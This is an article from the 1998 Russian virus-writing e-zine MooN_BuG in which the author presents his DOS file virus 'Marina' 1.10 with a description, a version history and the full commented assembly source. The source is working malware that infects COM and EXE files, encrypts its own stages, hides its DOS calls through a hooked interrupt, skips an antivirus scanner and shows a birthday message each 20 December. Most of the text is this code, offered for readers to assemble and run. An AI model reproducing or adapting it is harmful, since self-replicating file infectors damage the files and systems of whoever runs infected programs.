[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 9, Dec 1998 file 006
Вирус Marina
by CrkV
Вот я и решил представить читателям свой первый вирус
Marina. Правда на суд публики выносится версия 1.10, а она значи-
тельно отличается от первых версий ;-))). Это можно понять, про-
читав историю создания этого вируса, которая приводится ниже.
Кроме того, несмотря на то что, далее прилагается исходник с ком-
ментариями, я позволил создать себе небольшое описание зверька.
Описание вируса Marina 1.10 (размер 1296 байт)
Файловый вирус, заражающий DOS-файлы COM- и EXE-формата
(не заражает EXE - файлы в заголовке которых по смещению 1Ah на-
ходится байт больше 40h, исключение составляют файлы, упакован-
ные PKLITe'ом, со значением 52h). Для заражения использует теку-
щий диск или с вероятностью 1/8 - диск C. Для поиска использует
маску вида - D:\S*.*, где S - случайный символ от 'A' до 'Z', ес-
ли после 8 генераций случайных символов поиск неудачен, то встав-
ляется символ '?'. Если первый найденный файл - каталог, то далее
идет сканирование вложенных поддиректорий.
Для вызова функции DOS использует, найденный с помощью
трассировки (обход контролирующих трассировку программ не предус-
мотрен) вектор, вставленный в Int 3, причем на номер функции (ре-
гистр Ax) накладывается маска 0A55Ah.
Заражение файлов, независимо от формата, происходит по од-
ной схеме - весь файл сдвигается на размер вируса, а в начало
файла записывается код вируса, который содержит собственный заг-
рузчик EXE файлов.
Вирус состоит из трех частей, две из которых зашифрованы,
идентификация зараженных программ идет по первым двум байтам
(09Ch, 060h - PushF PushA). Возможно в будущем появится и поли-
морфизм первой части ;-)))
Деструкция в вирусе не предусмотрена, но 20 декабря он
проявляет себя видеоэффектом, заражение файлов в это день не
происходит.
Кроме всего прочего в вирусе есть не отловленный баг, и
мне пока некогда с ним разбираться. А проявился он на архиваторе
AIN 2.0 - при запуске зараженной программы без параметров или с
неправильными параметрами, после вывода части текста она подви-
сает :-((. Возможно есть и другие баги, как говорится - программ
без ошибок не бывает, поэтому и мне, равно как и другим, свой-
ственно ошибаться.
Немного истории
Вирус Marina начата разработка 03-08-98
──────────────────────
Версия 1.00
- Заражает файлы COM - формата (.COM и .EXE) на текущем диске
- Не заражает WIN.COM и COMMAND.COM
──────────────────────
Версия 1.01
- Введена трассировка Int 21h для поиска чистого DOS'а
- Вызов чистого Int 21h идет через Int 03h (Debug BreakPoint)
──────────────────────
Версия 1.02
- Исправлена ошибка - восстанавливается DTA на выходе
- Вставлен видеоэффект 20 декабря
──────────────────────
Версия 1.03
- Введено шифрование второй части
- Для проверки возможного заражения проверяется первые 2 байта
(9C,60 - PushF, PushA), а не 4 как в предыдущих версиях
──────────────────────
Версия 1.04 (1.04b)
- Оптимизация кода
──────────────────────
Версия 1.05
- Обрабатывается критическая ошибка Int 24h
- Исправлена ошибка - закрывается файл, при ошибке DOS
- Введено заражение файлов EXE - формата для DOS
- Не заражаются файлы меньше 26 байт
──────────────────────
Версия 1.06
- Исправлена ошибка восстановления регистров на выходе у EXE - файлов
- Дополнительно не заражается NAVDX.EXE
──────────────────────
Версия 1.07
- С вероятностью 1/8 вместо текущего диска, заражается диск C
──────────────────────
Версия 1.08
- При вызове Int 21h регистр Ax = Fun XOR 0A55Ah
──────────────────────
Версия 1.09
- Оптимизация кода
──────────────────────
Версия 1.10 от 02-12-98, размер 510h (1296) байт
- Заражает упакованные PKLITe'ом файлы
- Исходник подготовлен для публикации
──────────────────────
=== Cut ===
;вирус MARINA 1.10b (в память о "несчастной любви") (c) 1998 by CrkV
;use tasm marina /m2
;запускать marina.exe !!!
.286
;================================================
; 0123456789 123456789 123456789 123456789 123456789 123456789
;================================================
CSeg Segment Para 'code'
Assume Cs:CSeg,Ds:CSeg,Ss:CSeg,Es:CSeg
Org 0h ;EXE (исходник вируса)
VM:
Push Ds
Push 0
PushF
PushA
Mov Bp,Sp
Push 0
Pop Es
Push Cs
Pop Ds
Mov Sav_Sp,Bp
Mov Es:[01h*4][2],Cs ;устанавливаем Seg Int 1
Mov Es:[03h*4],Offset New03h;устанавливаем Int 3
Mov Es:[03h*4][2],Cs
Jmp @RealStart3part
Org 0D4h ;располагаем данные в DTA
Sav_SP dw ?
Sav_SP2 dw ?
Org 0F8h ;располагаем данные в DTA
Prov_Ip dw ? ;адрес входа в DOS
Prov_Cs dw ?
@AdrExit:
VOffs dw ?
VSegm dw ? ;сегмент активного окна видеопамяти
Org 100h
KolDIR EQU 8 ;количество сканируемых вложенных поддиректорий
SizeVIR EQU (Offset @EndVM - Offset @Start1part) ;размер вируса
SV EQU @EndVM - 100h ;размер вируса
MaxSize EQU 0FC00h - SizeVir ;максимальный размер COM файла (PSP+стек)
Time1 EQU 5 ;частота сердцебиения (1/18 сек.)
;----------------------------------------------
@Start1part:
PushF
PushA
Push Offset @RealStart2part
@AdrR: db 0BEh ;Mov Si,RandZn
RandZn dw ?
Mov Cx,(Offset @Start3part - @Start2part)/2
@Loop1R:db 31h,0B4h ;Xor [Si+RZ],Si
RZ dw ? ;RZ=Offset @Start2part-RandZn
Inc Si
Inc Si
Loop @Loop1R
Ret
;---------------------------------------------
@Start2part:
;---------------------------------------------
MyRand Proc
; Cx-нижняя граница,Bx-верхняя граница
; Ax-случайное число
Push Bx Cx Dx
db 0B8h ;Mov Ax,RandPar
RandPar dw ?
Add Ax,9248h
Ror Ax,3
Xor Ax,9248h
Add Ax,11h
Mov Cs:RandPar,Ax
And Ax,7FFFh
Sub Bx,Cx
Inc Bx
Sub Dx,Dx
IDiv Bx
Add Cx,Dx
Pop Dx Ax Bx
Xchg Cx,Ax
Ret
MyRand EndP
;---------------------------------------------
@RealStart2part:
Mov Bp,Sp
Sub Si,Si
Push Si Ds Si Si
Pop Ds
Mov Di,0C0h
Mov Cx,8
Cli
Repe MovSW ;Сохраняем 4 обработчика
Mov Si,24h*4
MovSW ;Int 24h
MovSW
Pop Es Ds Ss ;Ss = 0 (Удачи !!!)
Mov Ax,Cs
Mov Sp,(24h+1)*4
Push Ax
Push Offset New24h ;Устанавливаем Int 24h
Sub Sp,24h*4 - 10h
Push Ax
Push Offset New03h ;Устанавливаем Int 3
Sub Sp,4
Push Ax
Push Offset Int_01 ;Устанавливаем Int 1
Mov Sp,Bp
Mov Ss,Ax
Push 300h
PopF ;TF=1
Mov Sav_Sp,Bp
;---------------------------------------------
Int_01:
Push Offset @RealStart3part
@Shifr:
Mov Dx,(Offset @EndVM - Offset @Start3part)/2
Mov Di,Offset @Start3part
Mov Bx,07FFFh ;Cx=0 (Repe)
@LoopRs:Call MyRand
Xor [Di],Ax
Inc Di
Inc Di
Dec Dx
Jnz @LoopRs ;расшифровываем
Ret
;---------------------------------------------
@Start3part:
;----- обработчик прерывания 01h -----
New01h:
PushA
Mov Bp,Sp
Push Ds Es Cs
Pop Ds
Mov Ax,[Bp+18] ;Cs адрес следующей команды
Cmp Ax,Prov_Cs ;ищем наименьший сегмент
Jae @Exit_01h ;выше равно
Push Ss
Pop Es
Mov Cx,[Bp+6] ;устанавливаем равные Sp
Mov Ds:[0E6h],Cx
Mov Si,0E0h
Mov Di,Bp
Mov Cx,8 ;8 регистров
RepZ CmpSW
Or Cx,Cx
Jnz @Exit_01h ;регистры не совпадают
Mov Prov_Cs,Ax
Mov Ax,[Bp+16] ;Ip следующей команды
Mov Prov_Ip,Ax
@Exit_01h:
Pop Es Ds
PopA
IRet
;----- обработчик прерывания 03h -----
New03h:
Xor Ax,5AA5h
Jmp DWord Ptr Cs:Prov_Ip
;----- обработчик прерывания 24h -----
New24h:
Mov Al,3
IRet
;---------------------------------------------
@RealStart3part:
Mov Es:[01h*4],Offset New01h;устанавливаем Int 1
Mov Prov_Cs,Cs
Mov Ah,19h ;получить текущий диск
Mov Sp,0F0h
PushA ;Сохраняем все регистры для проверки
Mov Sp,Bp
PushF
Push 300h
PopF
Call DWord Ptr Es:[21h*4] ;Int 21h получить текущий диск
Add Al,'A'
Mov FileMsk,Al
Mov Ax,SizePrg
Mov OldSize,Ax
Mov Ah,2Ah Xor 5Ah
Int 03h
Cmp Dx,0C14h
Je @20_12
Call Rand08h
Test Al,0000111b
Jnz @NotC
Mov FileMsk,'C'
@NotC: Mov RandPar,Ax
Mov RandZn,Ax
Neg Ax
Add Ax,Offset @Start2part
Mov RZ,Ax
Mov Bp,KolDir
Mov Si,Offset StrSize
Mov Ax,Cs
Add Ah,10h ;Ax,1000h
Mov Es,Ax
Mov Di,80h
Mov Cx,9
Repe MovSB
Mov Ds,Ax
Sub Bx,Bx
Call ScTree
@20_12: Push Cs
Pop Es
Mov Ax,1100h
Mov Bx,1000h
Mov Cx,2
Mov Dx,3
Mov Bp,Offset S1
Int 10h
Sub Ax,Ax
Mov Es,Ax
Mov Al,Es:[044Ah]
Shl Ax,1
Push Ax
Mov Bp,0B800h
Cmp Byte Ptr Es:[0449h],7
Jne Short @IM01
Mov Bp,0B000h
@IM01: Mov Ah,0Fh
Int 10h
Mov Al,Bh
Shl Ax,8
Add Bp,Ax
Mov Ah,03h
Int 10h
Mov Ah,01h
Or Ch,00110000b
Int 10h
Pop Ax
Mul Dh
Shr Ax,4
Add Ax,Bp
Mov VSegm,Ax
Shl Dl,1
Sub Dh,Dh
Mov VOffs,Dx
Mov Ax,351Ch Xor 5AA5h
Int 03h
Mov Ax,251Ch Xor 5AA5h
Push Es Bx Ax
Mov Dx,Offset New1Ch
Int 03h
Sub Ax,Ax
Int 16h
LEs Di,DWord Ptr VOffs
Mov Ax,0720h
Mov Cx,28
Repe StoSW
Pop Ax Dx Ds
Int 03h
Jmp @Ex
;----- обработчик прерывания 1Ch -----
New1Ch:
PushA
Push Ds Es Cs
Pop Ds
db 0B9h ;Mov Cx,SizeSV
SizeSV dw 26 ;
Mov Dx,Word Ptr Ct2
Dec Dx
Jnz @Not0
Mov Dx,Cx
Dec Dx
Mov Ax,VAttr
Xchg Al,Ah
Mov VAttr,Ax
@Not0: LEs Di,DWord Ptr VOffs
Mov Si,Offset StrVyv1
db 0B8h ;Mov Ax,VSim
VSim dw 0403h ;
Mov Ah,04h
Push Ax
StoSW
Sub Cl,Dl
db 0B8h ;Mov Ax,VAttr
VAttr dw 0F0Eh ;
@LI1: MovSB
StoSB
Loop @LI1
Mov Cl,Dl
Xchg Al,Ah
@LI2: MovSB
StoSB
Loop @LI2
Pop Ax
StoSW
Mov Ct2,Dl
Dec Ct1
Jnz @Ex1Ch
Mov Ct1,Time1
Mov Ax,VSim
Xchg Al,Ah
Mov VSim,Ax
@Ex1Ch: Pop Es Ds
PopA
IRet
;---------------------------------------------
Rand08h Proc
Push Ds
Push 0
Pop Ds
Mov Ax,Ds:[46Ch]
Pop Ds
Ret
Rand08h EndP
;---------------------------------------------
InfectC Proc
Push Bx Ds Ds Ds Cs
Pop Ds Es
Call Rand08h
Mov RandPar,Ax
Mov Si,100h
Sub Di,Di
Mov Cx,SizeVir
Repe MovSB ;копируем вирус
Pop Ax
Sub Ax,10h
Mov Ds,Ax
Call @Shifr ;зашифровываем 3 часть
Call @AdrR ;зашифровываем 2 часть
Mov Ax,5700h Xor 5AA5h
Pop Ds Bx
Int 03h
Push Cx Dx
Mov Ax,4200h Xor 5AA5h
Sub Cx,Cx
Sub Dx,Dx
Int 03h
Mov Ah,40h Xor 5Ah
Mov Cx,SizeVir
db 081h,0C1h ;Add Cx,SizePrg
SizePrg dw 1
Int 03h
Mov Ax,5701h Xor 5AA5h
Pop Dx Cx
Int 03h
Mov Ah,3Eh Xor 5Ah
Int 03h
InfectC EndP
;---------------------------------------------
@ExitVir:
Push Cs
Pop Ds
Mov Ah,1Ah Xor 5Ah
Mov Dx,80h
Int 03h ;Восстанавливаем DTA
Mov Si,0C0h
Sub Di,Di
Push Di
Pop Es
Mov Cx,8
Repe MovSW ;Восстанавливаем 4 обработчика
Mov Di,24h*4
MovSW ;Int 24h
MovSW
Push Cs
Pop Es
Mov Ax,Word Ptr Ds:[SV+100h]
Call ProvMZ
Je @ExitExe
db 0B9h ;Mov Cx,OldSize
OldSize dw ? ;старый размер программы
Mov Di,0FCh
Mov Ax,0A4F3h ;Repe MovSB
StoSW
Mov Ax,9D61h ;PopA PopF
StoSW
Mov Si,SizeVir+100h
Mov Sp,Sav_Sp
Jmp @AdrExit
SizePr EQU Offset @EndPr - Offset @AdrPr
@ExitExe:
Mov Bp,Offset @EndVM
Mov Dx,Bp
Shr Dx,4
Mov Ax,Cs
Add Dx,Ax
Add Dx,[Bp+8] ;Dx сегмент кода EXE
Add Ax,10h ;Ax сегмент кода COM
Mov Bx,Bp
Add Bx,[Bp+18h] ;адрес Rel. Table
Mov Cx,[Bp+6] ;количество Relocation
JCxZ @NoRel
@LoopRl:Add [Bx+2],Dx ;настраиваем перемещаемые элементы
LEs Di,[Bx]
Add Es:[Di],Ax
Add Bx,4
Loop @LoopRl
@NoRel: Push Cs
Pop Es
Mov Di,100h - SizePr
Mov Si,Offset @AdrPr
Mov Cx,SizePr
Repe MovSB ;пересылаем подпрограмму перехода на EXE
Mov Sp,Sav_Sp
Mov Es,Ax
Mov Ds,Dx
PopA
Mov Bp,Offset @EndVM
Push Ax Cx Cs Cs
Push [Bp+10h] ;Sp
Push [Bp+14h] ;Ip
Mov Cx,[Bp+4] ;количество кусков по 512 байт
Mov Bx,[Bp+8]
Shr Bx,5
Sub Cx,Bx ;размер (EXE - Reloc Table) в 512 кусках
Shl Cx,5 ;размер программы в параграфах
Mov Ax,Cx
Add Ax,[Bp+0Ch]
Jnc @Not_CF
Mov Ax,0FFFFh
@Not_CF:
;Shl Cx,3 ;размер программы в словах
Mov Cx,[Bp+OldSize-@EndVM] ;для надежности берем размер файла
Mov Bx,Es
Add Bx,[Bp+16h] ;Cs
Mov Dx,Es
Add Dx,[Bp+0Eh] ;Ss
Sub Si,Si
Sub Di,Di
db 0E9h ;Jmp
dw -(($+2)-100h+SizePr)
@AdrPr:
Repe MovSB
Pop Si Di Ds Es Cx
Push Bx
Mov Bh,4Ah
Xchg Ax,Bx ;Bx-требуемый размер в параграфах
Int 21h
Pop Bx Ax
PopF
Mov Ss,Dx
Mov Sp,Di
Mov Dx,Ds
Push Bx Si
Mov Bx,Ax
RetF
@EndPr:
;---------------------------------------------
ProvMZ Proc
Cmp Ax,'MZ'
Je @ExitMZ
Cmp Ax,'ZM'
@ExitMZ:Ret
ProvMZ EndP
;---------------------------------------------
ProvFrm Proc
;Проверка внутреннего формата файла
Push Ds
Mov Ax,3D02h Xor 5AA5h
Int 03h
Jc @ErrPF1
Xchg Bx,Ax
Mov Ax,Ds
Add Dx,80h
Shr Dx,4
Add Ax,Dx ;получили свободный сегмент
Mov Ds,Ax
Mov Ah,3Fh Xor 5Ah ;Прочитали первые 26 байт
Mov Cx,1Ah
Mov Dx,SizeVir
Int 03h
Jc @ErrPF
Sub Ax,Cx
Jnz @ErrPF ;маленький файл
Mov Ax,Word Ptr Ds:[SV]
Call ProvMZ
Jne @ZagCom
Mov Al,Byte Ptr Ds:[SV+18h]
Cmp Al,52h
Je @ZagCom ;Pklite
Cmp Al,40h
Jge @ErrPF ;кажись Виндовый файл
@ZagCom:Mov Ax,4202h Xor 5AA5h
Sub Cx,Cx
Sub Dx,Dx
Int 03h
Or Dx,Dx
Jnz @ErrPF ;большой файл
Cmp Ax,MaxSize
Ja @ErrPF ;большой файл
Mov Cs:SizePrg,Ax
Cmp Word Ptr Ds:[SV],609Ch ;PushF,PushA
Je @AllInf ;возможно заражен
Push Ax ;Cx,Dx=0
Mov Ax,4200h Xor 5AA5h
Int 03h
Pop Cx
Mov Ah,3Fh Xor 5Ah
Mov Dx,SizeVir
Int 03h ;Читаем весь файл
Jc @ErrPF ;Ошибка
Sub Ax,Cx
Jnz @ErrPF ;файл почему-то меньше
Call InfectC
@AllInf:
@ErrPF: Mov Ah,3Eh Xor 5Ah ;закрываем файл
Int 03h
@ErrPF1:Pop Ds
Ret
ProvFrm EndP
;---------------------------------------------
ProvExe Proc
;проверка на EXEC файл
PushA
Push Es Cs
Pop Es
Mov Cl,KolFN
Mov Di,Offset FN1
@LoopF: Push Cx
Cmp Es:[Di],Al ;сравниваем размер
Jne @FileN
Mov Cl,Al
Push Di Si
Inc Di
Repe CmpSB ;сравниваем имена
Pop Si Di
@FileN: Pop Cx
Je @NoExec
Mov Bl,Es:[Di]
Inc Bx
Sub Bh,Bh
Add Di,Bx
Loop @LoopF
Mov Cl,2
Xchg Bx,Ax
Lea Si,[Si+Bx-5]
Mov Di,Offset FileCom
Push Si
Repe CmpSW ;'.COM'
Pop Si
Je @YExec
Mov Cl,2
Mov Di,Offset FileExe
Repe CmpSW ;'.EXE'
Jne @NoExec
@YExec: Call ProvFrm
@NoExec:Pop Es
PopA
Ret
ProvExe EndP
;---------------------------------------------
ScTree Proc
;Bx - адрес DTA
Dec Bp
Jnz @Ok
Or Bx,Bx
Jnz Short @Ex
Mov Bp,KolDir
Sub Si,Si
@Ok: Mov Ah,1Ah Xor 5Ah
Mov Dx,Bx
Int 03h
Or Bx,Bx
Jnz @NRoot1 ;Не корневой каталог
Mov Byte Ptr Ds:[84h],'?'
Mov Ah,4Eh Xor 5Ah
Mov Dx,81h
Mov Cl,10h
Int 03h
Jnc @OkRoot
@Ex: Jmp @ExitVir
@OkRoot:Mov Bx,'Z'
Mov Cx,'A'
Call MyRand
Or Si,Si
Jnz @NAny
Mov Al,'?'
@NAny: Mov Ds:[84h],Al
Sub Bx,Bx
@NRoot1:Lea Si,[Bx+80h] ;Ds:Si - полное имя (Pascal String+00h)
Push Si
Lea Di,[Si+100h]
Mov Cl,[Si]
Inc Cx ;размер строки
Repe MovSB
Mov Ah,4Eh Xor 5Ah
Pop Dx
Inc Dx
Mov Cl,10h
Int 03h ;ищем первый файл
Jnc @OkFile
Or Bx,Bx
Jz Sctree
Jmp Short @NRoot2
@OkFile:Lea Si,[Bx+1Eh] ;найденное имя
@NwFind:Cmp Byte Ptr [Si],2Eh ;директории '.' и '..'
Je @NtFind
Push Di
Push Si
Sub Ax,Ax
@GetNm: MovSB
Inc Ax
Cmp Byte Ptr [Si-1],00h
Jne @GetNm
Pop Si
Pop Di
Push Ax
Mov Ax,4300h Xor 5AA5h
Lea Dx,[Bx+181h]
Int 03h
Pop Ax
Test Cl,10h
Jne @DIR
Call ProvExe
@NtFind:Mov Ah,4Fh Xor 5Ah
Mov Cl,10h
Int 03h
Jnc @NwFind
@NoFile:Or Bx,Bx
Jz @Ex ;поиск закончен
@NRoot2:Mov Ax,100h
Sub Bx,Ax
Sub Si,Ax
Mov Ah,1Ah Xor 5Ah
Mov Dx,Bx
Int 03h
Mov Al,[Bx+80h]
Lea Di,[Bx+180h]
StoSB
Sub Ah,Ah
Add Di,Ax
Ret
@DIR: Mov Di,Dx
Dec Di
Add [Di],Al
Mov Al,[Di]
Add Di,Ax
Mov Ax,2A5Ch ;'\*.*',00h
StoSW
Mov Al,'.'
StoSW
Mov Al,00h
StoSB
Add Bh,1 ;Add Bx,100h
Call ScTree
Jmp Short @NtFind
ScTree EndP
;---------------------------------------------
StrSize db 3
FileMsk db '?:\?'
AnyName db '*.*',00h
KolFN EQU 3 ;количество незаражаемых файлов
FN1 db 0Ch,'COMMAND.COM',00h
FN2 db 08h,'WIN'
FileCom db '.COM',00h
FN3 db 0Ah,'NAVDX'
FileExe db '.EXE',00h
Flag08h db 0AAh
Ct1 db Time1
Ct2 db 26
s1 db 000h,000h,000h,000h,028h,07Ch,07Ch,07Ch
db 038h,010h,000h,000h,000h,000h,000h,000h
s2 db 000h,000h,000h,000h,06Ch,0FEh,0FEh,0FEh
db 0FEh,07Ch,038h,010h,000h,000h,000h,000h
StrVyv1 db ' Happy birthday to '
VirName db 'Marina 1.10(c)CrkV'
Align 16
;---------------------------------------------
@EndVM:
RetF
CSeg EndS
End VM
=== Cut ===